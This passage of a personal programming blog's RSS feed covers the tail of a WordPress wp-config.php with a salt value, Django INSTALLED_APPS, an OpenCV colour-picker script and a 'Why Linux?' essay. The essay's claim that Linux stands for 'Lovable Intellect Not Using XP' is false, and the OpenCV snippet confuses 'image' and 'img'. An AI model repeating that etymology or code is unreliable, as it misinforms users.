define( <span class="hljs-string">'NONCE_SALT'</span>,       <span class="hljs-string">'K:&lt;s.:rL3T/SKg53UL_}T)6G.8(V9h2MW,A33AVi_e)(1:sQr;d[$`EUPBQhSO&gt;/'</span> );

/**<span class="hljs-comment">#@-*/</span>

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations <span class="hljs-keyword">in</span> one database <span class="hljs-keyword">if</span> you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
<span class="hljs-variable">$table_prefix</span> = <span class="hljs-string">'wp_'</span>;

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to <span class="hljs-literal">true</span> to <span class="hljs-built_in">enable</span> the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * <span class="hljs-keyword">in</span> their development environments.
 *
 * For information on other constants that can be used <span class="hljs-keyword">for</span> debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( <span class="hljs-string">'WP_DEBUG'</span>, <span class="hljs-literal">false</span> );

/* Add any custom values between this line and the <span class="hljs-string">"stop editing"</span> line. */



/* That<span class="hljs-string">'s all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( '</span>ABSPATH<span class="hljs-string">' ) ) {
    define( '</span>ABSPATH<span class="hljs-string">', __DIR__ . '</span>/<span class="hljs-string">' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . '</span>wp-settings.php<span class="hljs-string">';</span>
</code></pre>
<p>To exit from <mark>vim</mark> type <strong><mark>':wq'</mark></strong></p>
<p>Now on next page give your <mark>site title, username, password, and email for backup </mark> and then press on run installation and you will see the login page</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705231524327/76deb632-91ad-4478-bf25-acfd90538195.png" alt class="image--center mx-auto" /></p>
<p>Enter your username and password created after login you will see a WordPress dashboard and now you can start building websites.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705232035258/ad537207-48e1-469d-8c8f-956525db26bd.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Django INSTALLED_APPS]]></title><description><![CDATA[INSTALLED_APPS
INSTALLED_APP is a list of strings that appoint/choose all the applications enabled in Django installation used to configure applications.

When we create an application using the command line
$ django-admin startapp nameofapp

Then th...]]></description><link>https://blog.giriamrit.com.np/django-installedapps</link><guid isPermaLink="true">https://blog.giriamrit.com.np/django-installedapps</guid><category><![CDATA[installedapp]]></category><category><![CDATA[Django]]></category><category><![CDATA[Python]]></category><category><![CDATA[backend]]></category><category><![CDATA[backend developments]]></category><category><![CDATA[software development]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Fri, 12 Jan 2024 16:06:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/BI465ksrlWs/upload/7fd1408f57d63d5889daecf512c161ee.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-installedapps"><strong>INSTALLED_APPS</strong></h3>
<p>INSTALLED_APP is a list of strings that appoint/choose all the applications enabled in Django installation used to configure applications.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705074568450/e3ab909a-e8d7-4d2e-b304-ffd9b5c1728b.png" alt class="image--center mx-auto" /></p>
<p>When we create an application using the command line</p>
<pre><code class="lang-bash">$ django-admin startapp nameofapp
</code></pre>
<p>Then the name of that app must be included in <strong>INSTALLED_APPS</strong> to include that application in our project else the application where we write our code will not run.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705075209302/066c7c8e-364f-4da9-96d2-91edd676f5b7.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-note"><strong>NOTE</strong></h3>
<ul>
<li><p>The application name must be unique. There is no way of including the same application twice.</p>
</li>
<li><p>The application label - by default the final part of the name -- must be unique. "The label allows relabeling an application when two applications have conflicting labels. It should be a valid Python identifier."</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Colour identification in images]]></title><description><![CDATA[Introduction
Images are composed using a grid of small squares called pixels. Each pixel is assigned to a specific colour value and, when combined, creates the overall image.
To identify all the colours in the image, Python is used which has a librar...]]></description><link>https://blog.giriamrit.com.np/colour-identification-in-images</link><guid isPermaLink="true">https://blog.giriamrit.com.np/colour-identification-in-images</guid><category><![CDATA[colouridentication ]]></category><category><![CDATA[General Programming]]></category><category><![CDATA[Machine Learning]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Thu, 11 Jan 2024 15:10:53 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-introduction"><strong>Introduction</strong></h2>
<p>Images are composed using a grid of small squares called pixels. Each pixel is assigned to a specific colour value and, when combined, creates the overall image.</p>
<p>To identify all the colours in the image, Python is used which has a library called OpenCV.</p>
<h2 id="heading-library"><strong>Library</strong></h2>
<p>We import basic libraries including <code>matplotlib.pyplot</code> , <code>cv2</code>, <code>numpy</code>, <code>pandas</code></p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> cv2
<span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np
<span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd
<span class="hljs-keyword">import</span> matplotlib
<span class="hljs-keyword">import</span> matplotlib.pyplot <span class="hljs-keyword">as</span> plt
</code></pre>
<p>pandas and numpy are used to extract the count, cv2 is used for OpenCV. matplotlib is used to plot the output.</p>
<p>To read any image we use cv2.imread()</p>
<pre><code class="lang-python">image = cv2.imread(<span class="hljs-string">'link_to_image'</span>)
<span class="hljs-comment"># if we have to resize the image then</span>
image = cv2.resize(img, (<span class="hljs-number">960</span>,<span class="hljs-number">540</span>))
</code></pre>
<p>To view the read image we use matplotlib to plot the image with the following code:</p>
<pre><code class="lang-python">plt.figure(figsize=(<span class="hljs-number">18</span>,<span class="hljs-number">6</span>)) <span class="hljs-comment"># used to specify the size of image</span>
plt.imshow(img) <span class="hljs-comment"># This shows the image</span>
</code></pre>
<p>The image that has been read using cv2 is in the colour format of BGR so to make it in RGB format we apply the following line of code:</p>
<pre><code class="lang-python">grid_RGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
</code></pre>
<p>after formatting to RGB colour pattern we again plot the image using the above code of plt.figure().....</p>
<p>Reading data from filename.csv file we use pandas read_csv</p>
<pre><code class="lang-python">csv_path = <span class="hljs-string">"path of csv flie e.g. './filename.csv'"</span>
df = pd.read_csv(csv_path, names=index, header=<span class="hljs-literal">None</span>)
</code></pre>
<h2 id="heading-colour-identification"><strong>Colour Identification</strong></h2>
<p>Defined a function, to achieve the colour in the given function</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_color_name</span>(<span class="hljs-params">R,G,B</span>):</span>
    minimum = <span class="hljs-number">1000</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(df)):
        d = abs(R - int(df.loc[i,<span class="hljs-string">'R'</span>])) + abs(G - int(df.loc[i,<span class="hljs-string">'G'</span>])) + abs(B-int(df.loc[i,<span class="hljs-string">'B'</span>]))
        <span class="hljs-keyword">if</span> d &lt;= minimum:
            minimum = d
            cname = df.loc[i,<span class="hljs-string">'color_name'</span>]
    <span class="hljs-keyword">return</span> cname
</code></pre>
<p>Handling the mouse event.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">draw_function</span>(<span class="hljs-params">event, x, y, flags, params</span>):</span>
    <span class="hljs-keyword">if</span> event == cv2.EVENT_LBUTTONDBLCLK:
        <span class="hljs-keyword">global</span> b, g, r, xpos, ypos, clicked
        clicked = <span class="hljs-literal">True</span>
        xpos = x
        ypos = y
        b,g,r = img[y,x]
        b = int(b)
        g = int(g)
        r = int(r)
</code></pre>
<p>OpenCV window</p>
<pre><code class="lang-python">cv2.namedWindow(<span class="hljs-string">'Color Identification in Images'</span>)
cv2.setMouseCallback(<span class="hljs-string">'Color Identification in Images'</span>, draw_function)

<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    cv2.imshow(<span class="hljs-string">'Color Identification in Images'</span>, img)
    <span class="hljs-keyword">if</span> clicked:
        cv2.rectangle(img, (<span class="hljs-number">20</span>,<span class="hljs-number">20</span>), (<span class="hljs-number">600</span>,<span class="hljs-number">60</span>), (b,g,r), <span class="hljs-number">-1</span>)

        text = get_color_name(r,g,b) + <span class="hljs-string">'R = '</span> + str(r) + <span class="hljs-string">'G = '</span> + str(g) + <span class="hljs-string">'B = '</span> + str(b)
        <span class="hljs-comment"># Draw text on image</span>
        cv2.putText(img, text, (<span class="hljs-number">50</span>,<span class="hljs-number">50</span>), <span class="hljs-number">2</span>,<span class="hljs-number">0.8</span>, (<span class="hljs-number">255</span>,<span class="hljs-number">255</span>,<span class="hljs-number">255</span>) , <span class="hljs-number">2</span> , cv2.LINE_AA)
    <span class="hljs-comment"># exit on esc    </span>
    <span class="hljs-keyword">if</span> cv2.waitKey(<span class="hljs-number">20</span>) &amp; <span class="hljs-number">0xFF</span> == <span class="hljs-number">27</span>:
        <span class="hljs-keyword">break</span>
cv2.destroyAllWindows()
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Why Linux?]]></title><description><![CDATA[BACKGROUND
I was a Windows user right from the start until I switched to Linux. I hadn't used any other OS before. I was using Windows until a few years back. I first used Linux in VMware, and it was not GUI-friendly. Getting that out of my mind I us...]]></description><link>https://blog.giriamrit.com.np/why-linux</link><guid isPermaLink="true">https://blog.giriamrit.com.np/why-linux</guid><category><![CDATA[WHy linux]]></category><category><![CDATA[Linux]]></category><category><![CDATA[operating system]]></category><category><![CDATA[os]]></category><category><![CDATA[Kali Linux]]></category><category><![CDATA[kali]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Sat, 23 Dec 2023 11:53:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1703331575755/943cac42-2d18-4919-89ae-7557df72e05d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-background">BACKGROUND</h3>
<p>I was a Windows user right from the start until I switched to Linux. I hadn't used any other OS before. I was using Windows until a few years back. I first used Linux in VMware, and it was not GUI-friendly. Getting that out of my mind I used Kali for a couple of months then I used Kali as my main OS removing windows completely. After that I found a difference in battery life support, speed and efficiency of the OS.</p>
<p>Here is a short background of Linux OS.</p>
<h3 id="heading-linux">Linux</h3>
<p>Linux stands for Lovable Intellect Not Using XP which was built by and named after Linus Torvalds in 1991. Linux is a Unix-like, Open source and community-developed operating system(OS) for computers, servers, mainframes, mobile devices and embedded devices.</p>
<h3 id="heading-distribution-of-linux">Distribution of Linux</h3>
<p>Popular Linux distributions include Debian, Fedora Linux, Arch Linux and Ubuntu. Commercial distributions include Red Hat and SUSE Linux Enterprise. Linux was originally developed for personal computers based on the Intel x86 architecture but has since been ported to more platforms than any other operating system.[1]</p>
<h3 id="heading-user-interface">User Interface</h3>
<p>The user interface is either a command-line interface(CLI), a graphical user interface(GUI), or controls attached to the associated hardware (Embedded Systems). CLI shells are text-based user interfaces, which use text for both input and output. GUI shells, packaged together with extensive desktop environments, such as KDE, Plasma, GNOME, Xfce, MATE, Cinnamon, LXDE and Pantheon, though a variety of additional user interfaces exist.</p>
<p>I used GNOME to customize my desktop and I am still using it.</p>
<h3 id="heading-advantages-of-linux">Advantages of Linux</h3>
<ol>
<li><p><strong>Open-source Software</strong></p>
<p> Linux is available for everyone to contribute, modify and enhance the source code. With no restrictions on how you use the software.</p>
</li>
<li><p><strong>Security</strong></p>
<p> Linux is not completely safe but is less vulnerable and more secure. Each application needs to be authorised by the admin user. It is also highly customizable, which means that users can modify the source code to meet their specific security needs.</p>
</li>
<li><p><strong>Free</strong></p>
<p> The biggest advantage of the Linux system is that it is free to use. We can easily download it, and there is no need to buy the license for it.</p>
</li>
<li><p><strong>Lightweight</strong></p>
<p> The requirements for running Linux are much less than other operating systems. In Linux, the memory footprint and disk space are also lower.</p>
</li>
<li><p><strong>Software Updates</strong></p>
<p> Software Updates in Linux are in the User's control. The system cannot force the user to update and automatically update. The user needs to run a command in the terminal to update their software.</p>
</li>
<li><p><strong>Community Support</strong></p>
<p> If you ever get stuck anytime when working with Linux you can find support from various sources. There are many forums available on the web to assist users.</p>
</li>
<li><p><strong>Networking</strong></p>
<p> Linux facilitates powerful support for networking. The client-server systems can be easily set to a Linux system. It provides various command-line tools such as ssh, ip, mail, telnet, ssl, netstat and more for connectivity with the other systems and servers. Tasks such as network backup are much faster than others.</p>
</li>
</ol>
<p>Many other advantages can be found on web search.</p>
<p>Looking at these advantages and my own experience I preferred Linux OS. It has an open-source nature, robust security features and vast customizable options, strong community support and constant updates. Every operating system has its merits, for me, Linux stands out as the optimal choice.</p>
<h3 id="heading-references"><strong>References</strong></h3>
<p>[1] Barry Levine(August 26, 2013)."Linux' 22nd [sic]Birthday Is Commemorated - Subtly - by Creator". Simpler Media Group, Inc. Archived from the original on May 18, 2015. Retrieved May 10, 2015. "Originally developed for Intel x86-based PCs, Torvalds' "hobby" has now been released for more hardware platforms than any other OS in history."</p>
]]></content:encoded></item></channel></rss>